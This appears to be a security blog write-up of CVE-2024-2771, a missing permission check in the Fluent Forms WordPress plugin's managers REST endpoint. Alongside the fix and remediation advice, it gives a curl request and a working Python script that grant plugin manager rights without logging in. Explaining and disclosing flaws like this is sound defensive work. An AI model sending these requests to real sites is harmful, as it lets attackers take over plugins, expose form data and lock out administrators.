Fluent Forms is one of the most popular contact form plugins for WordPress, powering thousands of sites with easy drag-and-drop form building, surveys, and quizzes. Unfortunately, a critical vulnerability (CVE-2024-2771) was recently reported in the plugin, affecting all versions up to and including 5.1.16. This bug allows attackers—even those not logged in—to escalate privileges and take over plugin management, putting both user data and site integrity at risk.

In this write-up, we’ll explain what went wrong, how the exploit works, and what you should do immediately.

CVE: 2024-2771

- Affected Plugin: Fluent Forms — Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder

The plugin provides a REST API endpoint

/wp-json/fluentform/v1/managers

Intended for admin use, this endpoint allows management of users who can access Fluent Form features. But, a crucial step was missing: capabilities check.

No authentication or authorization was required to access this endpoint. Anyone could add, modify, or remove managers by sending POST requests, giving themselves full access to the plugin!

Here’s a simplified look of the vulnerable code in FluentForm’s REST handler

// File: app/Http/Controllers/ManagerController.php

public function manageManagers(Request $request) {
    // Missing: capability or permission check!
    $user_id = $request->get('user_id');
    $role = $request->get('role');

    // Add user as a manager
    $this->addManager($user_id, $role);

    return rest_ensure_response(['success' => true]);
}

A proper check would look like

if (!current_user_can('manage_options')) {
    return new WP_Error('forbidden', 'You are not allowed.', 403);
}

But this was *missing*, so the endpoint was wide open.

Grant Yourself Manager Access

An attacker can grant themselves (or any user) plugin manager permissions by sending a crafted POST request:

curl -X POST \
  -d '{"user_id":1,"role":"manager"}' \
  -H "Content-Type: application/json" \
  https://victim-site.com/wp-json/fluentform/v1/managers

Remove Existing Managers (Denial of Service)

Attackers can also delete legitimate manager accounts, further compromising the site and locking out real admins.

Here’s a basic Python script to exploit CVE-2024-2771

import requests

site_url = 'https://victim-site.com';

json_data = {
    "user_id": 1,      # Admin's user ID, or any existing one
    "role": "manager"  # 'manager' or other allowed role name
}

r = requests.post(
    f'{site_url}/wp-json/fluentform/v1/managers',
    json=json_data
)

print(f'Response: {r.status_code} {r.text}')

With Fluent Forms in use on over 300,000 sites, this vulnerability has massive implications

- Data Exposure: Attackers can steal, modify, or delete sensitive customer data submitted through forms.
- Website Takeover: Malicious managers could escalate further, especially if the plugin is integrated with other site parts or custom code.
- Denial of Service: Legitimate admin access can be wiped, paralyzing contact and customer support features.

References

- NVD Detail: CVE-2024-2771
- Wordfence Security Advisory
- Plugin page on WordPress.org

Review all plugin manager users and ensure there are no unauthorized accounts.

- Audit your site for suspicious POST requests to /wp-json/fluentform/v1/managers.

For Developers

- Always require capability checks in REST API endpoints, especially when handling user roles or permissions.

Closing Thoughts

CVE-2024-2771 is a painful reminder that a simple missing permission check can have site-wide consequences. If you use Fluent Forms, patch this now and review your other plugins for REST API vulnerabilities.

Feel free to share this post to raise awareness and help secure the WordPress ecosystem. Stay patched and stay safe.

Timeline

Published on: 05/18/2024 08:15:06 UTC
Last modified on: 05/20/2024 13:00:34 UTC